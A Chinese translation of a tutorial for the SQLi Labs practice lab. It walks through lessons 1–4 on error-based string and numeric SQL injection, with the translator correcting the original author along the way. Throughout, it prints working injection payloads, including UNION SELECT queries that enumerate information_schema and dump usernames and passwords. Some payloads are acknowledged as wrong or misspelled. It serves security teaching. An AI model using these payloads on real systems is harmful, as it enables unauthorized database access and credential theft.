SQLi Labs 指南

譯者:SQL Libs一直也沒看到有人寫過比較完整的指南,只有作者在自己的博客上帖了一些tip和一些視頻,偶然看到一篇文章在寫這個,便拿過來翻一下,以作參考,原文較長,分成幾個部分。

<img src="http://image.3001.net/images/20140518/14004112635999.png!small" title="1.png"/></p>

簡介

結構化查詢語言,也叫做SQL,從根本上說是一種處理數據庫的編程語言。對於初學者,數據庫僅僅是在客戶端和服務端進行數據存儲。SQL通過結構化查詢,關係,面向對象編程等等來管理數據庫。編程極客們總是搞出許多這樣類型的軟件,像MySQL,MS SQL ,Oracle以及Postgresql。現在有一些程序能讓我們有能力通過結構化查詢來管理大型數據庫。腳本小子們一定已經動手體驗了類似SQL注入等這樣的操作,雖然他們可能已經通過使用自動化工具例如SQL Map或者SQLNinja來實施攻擊,但卻還不知它真正的原理。在這篇簡短的教程裏,我將會盡力讓你對SQL 注入是怎樣工作的,攻擊是怎樣發生的以及什麼是應用程序SQL漏洞有一個深入的理解。我們將要使用的實驗室是SQLi Labs,它是一個可以從https://github.com/Audi-1/sqli-labs免費下載,以便我們研究學習以及編寫安全的程序。所以這篇教程對於程序員和安全測試者都將是一次動手實踐的機會。

安裝

  1. https://github.com/Audi-1/sqli-labs下載源代碼

  2. 將源代碼複製到Apache webroot 文件夾(htddocs,/var/www)

  3. 打開sql-connections文件夾下的“db-creds.inc”文件

  4. 修改mysql用戶名和密碼爲你自己的

  5. 打開瀏覽器,通過localhost的index.html訪問文件夾

  6. 點擊setup/resetDB 鏈接在你的mysql中創造數據庫

  7. 開始遊戲!

<img src="http://image.3001.net/images/20140518/14004112773433.jpg!small" title="2.jpg"/></p>

實驗

第一節:GET – 基於錯誤 – 單引號 – 字符型

<img src="http://image.3001.net/images/20140518/14004112897060.png!small" title="3.png"/></p>

你會看到“Welcome Dhakkan”(一個北印度俚語,通常指愚蠢的人)。SQLI Labs的編碼者一定是一個很幽默的人。現在我們用數字型注入可以得到一個“id”參數。

-> ?id=1

開火!

<img src="http://image.3001.net/images/20140518/14004113018736.png!small" title="4.png"/></p>

任務完成!我們得到了登陸名 Dumb 和密碼 Dump。我們在URL上添加了一個參數,並讓這個參數指向第一條記錄。這是便生成了一個從瀏覽器到數據庫的表中的一個快速的查詢,從而來獲取“id=1”的記錄。同樣,你可以構造查詢來得到後面的記錄如 2,3,4……。

在後端的實際查詢如下:

Select * from TABLE where id=1;

譯者注:

原文這裏只是給了簡單的用了id=1來正常查詢了一條記錄,根據原程序作者博客的說明,這裏應該是有一個字符型的單引號注入,如下解釋:)

在第一節index.php文件的第29行中:

$sql="SELECT * FROM users WHERE id='$id'LIMIT 0,1";

這裏的$id是被單引號包裹的。

通過如下的注入查詢可以驗證:

id=1'

<img src="http://image.3001.net/images/20140518/14004114538032.png!small" title="yi1.png"/></p>

(這樣看來,原文作者上面給的實際執行的SQL語句就不對了,應爲Select * from TABLE where id='1';

以下兩個注入可以成功執行。

' or '1'='1
' or 1=1 --+

後者採用的註釋的方法。

第二課: GET – 基於錯誤 – 數字型

現在我們嘗試通過類似於輸入字符串的方法來攻擊應用程序,例如“abc”和“abcd”。我們注意到在lesson 2中我們收到了一個從數據庫返回的錯誤。下面我們對數字做一些篡改,將'(單引號)添加到數字中。

<img src="http://image.3001.net/images/20140518/14004114696276.png!small" title="5.png"/></p>

我們又得到了一個Mysql返回的錯誤,提示我們語法錯誤。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1′ at line 1

現在執行的查詢語句如下:

Select * from TABLE where id = 1’ ;

所以這裏的奇數個單引號破壞了查詢,導致拋出錯誤。

因此我們得出的結果是,查詢代碼使用了整數。

Select * from TABLE where id = (some integer value);

現在,從開發者的視角來看,爲了對這樣的錯誤採取保護措施,我們可以註釋掉剩餘的查詢:

http://localhost/sqli-labs/Less-2/?id=1–-

注意:一定要在註釋符號後加空格,或者URL編碼後的空格(%20),否則註釋符號不會產生作用。

<img src="http://image.3001.net/images/20140518/14004114794125.png!small" title="6.png"/></p>

譯者注:

這小節中,原作者同樣使用了單引號來注入,但這並不代表着這個小節,是基於字符串的,大家可以觀察一個單引號注入後的出錯信息,'' LIMIT 0,1′ at line 1和上面我備註圖中的引號個數是不一樣的,稍微分析下,便可以明白。

源代碼中31,32行爲此處的SQL查詢語句。

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

可以成功注入的有:

or 1=1
or 1=1 --+

第三課:基於錯誤-單引號變形-字符型

在這屆課中,我們將會來學習實施一次基於錯誤的單引號攻擊。在下面的截圖中,我們使用

?id='

<img src="http://image.3001.net/images/20140518/14004115039073.jpg!small" title="8.jpg"/></p>

注入代碼後,我們得到像這樣的一個錯誤:

MySQL server version for the right syntax to use near ””) LIMIT 0,1′ at line 1

這裏它意味着,開發者使用的查詢是:

Select login_name, select password from table where id= (‘our input here’)

所以我們再用這樣的代碼來進行注入:

?id=1′) –-+

<img src="http://image.3001.net/images/20140518/14004115264091.jpg!small" title="11.jpg"/></p>

這樣一來,我們便可以得到用戶名和密碼了,同時後面查詢也已經被註釋掉了。

譯者注:

源代碼中的SQL查詢語句,31行:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

可以成功注入的有:

') or '1'=('1'
) or 1=1 --+

第四課:基於錯誤-雙引號-字符型

在這節課中,我們將會學習進行一個基於錯誤的雙引號攻擊,如下圖所示:

?id=1"

<img src="http://image.3001.net/images/20140518/14004115413890.jpg!small" title="13.jpg"/></p>

注入這段代碼後,我們可以看到一個用戶名和密碼。(譯者注:這裏看不到用戶名密碼,反而是出錯信息,暫時弄不清楚作者爲什麼出現這個情況)現在我們可以嘗試着去下載數據庫來檢索一些敏感信息。我們假設一開始數據庫中有3列信息。那麼我們這裏就可以用聯合查詢命令來下載數據庫:

?id=1") union selcect 1,2,3 --+

現在做一些SQL的基本操作,我們啓動mysql,然後通過查詢檢查下數據庫:

show databases;

<img src="http://image.3001.net/images/20140518/14004115562043.jpg!small" title="15.jpg"/></p>

這個實驗用到的數據庫名爲security,所以我們選擇security來執行命令。

use security;

<img src="http://image.3001.net/images/20140518/14004115678162.jpg!small" title="17.jpg"/></p>

我們可以查看下這個數據庫中有哪些表

show tables;

<img src="http://image.3001.net/images/20140518/14004115796287.jpg!small" title="19.jpg"/></p>

現在我們可以看到這裏有四張表,然後我們來看下這張表的結構。

desc emails;

<img src="http://image.3001.net/images/20140518/14004115934444.jpg!small" title="22.jpg"/></p>

在繼續進行前臺攻擊時,我們想討論下系統數據庫,即information_schema。所以我們使用它

use information_schema

<img src="http://image.3001.net/images/20140518/1400411646652.jpg!small" title="24.jpg"/></p>

讓我們來看下錶格。

show tables;

<img src="http://image.3001.net/images/20140518/14004116693853.jpg!small" title="26.jpg"/></p>

現在我們先來枚舉這張表

desc tables;

<img src="http://image.3001.net/images/20140518/14004116793305.jpg!small" title="28.jpg"/></p>

現在我們來使用這個查詢:

select table_name from information_schema.tables where table_schema = "security";

<img src="http://image.3001.net/images/20140518/14004116883446.jpg!small" title="30.jpg"/></p>

使用這個查詢,我們可以下載到表名。我們現在來將這個查詢注入到URL,查詢變爲

?id=1”) union select 1,table_name,3 from information_schema.tables where table_schema=’security’ --+

譯者注:

start

這裏原文作者可能本意的查詢語句是如下這個:

?id=”) union select 1,table_name,3 from information_schema.tables where table_schema=’security’ --+

現在我們可以從屏幕中看到第一個表名email。

end

<img src="http://image.3001.net/images/20140518/14004117218895.jpg!small" title="32.jpg"/></p>

另一個方法是將所有表的名字分組然後作爲文本把它下載下來。查詢如下:

?id=1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ –-+

譯者注:

start

這裏原文作者可能本意的查詢語句是如下這個:

?id='') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ –-+

現在我們可以從屏幕中看到第一個表名email。

end

我們可以從結果中看到所有的表。

<img src="http://image.3001.net/images/20140518/14004117564792.png!small" title="33.png"/></p>

我們合併多個不同的列,並下載下來。

?id=1'union select 1,group_concat(username),group_concat(password) from users –-+

譯者注:

start

這裏原文作者可能本意的查詢語句是如下這個:

?id='union select 1,group_concat(username),group_concat(password) from users –-+

end

結果如圖所示。

<img src="http://image.3001.net/images/20140518/14004117711036.jpg!small" title="35.jpg"/></p>

譯者注:

上面三個聯合查詢,id後面的符號,要根據你所在的那個實驗裏面,根據作者的截圖,它是在第一個實驗裏,所以是使用的單引號,如果是在基於雙引號的查詢裏,需要使用雙引號。

另外三個聯合查詢作者給的注入語句,id後都有一個1,這時候是顯示不出來你想要的,因爲這時候注入的查詢語句會返回兩行,而只是顯示第一行。

源代碼中sql查詢語句,31,31行:

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

可以成功注入的有:

")or ("1")=("1
")or 1=1 --+

[via:infosecinstitute]

發佈了9 篇原創文章 · 獲贊 47 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章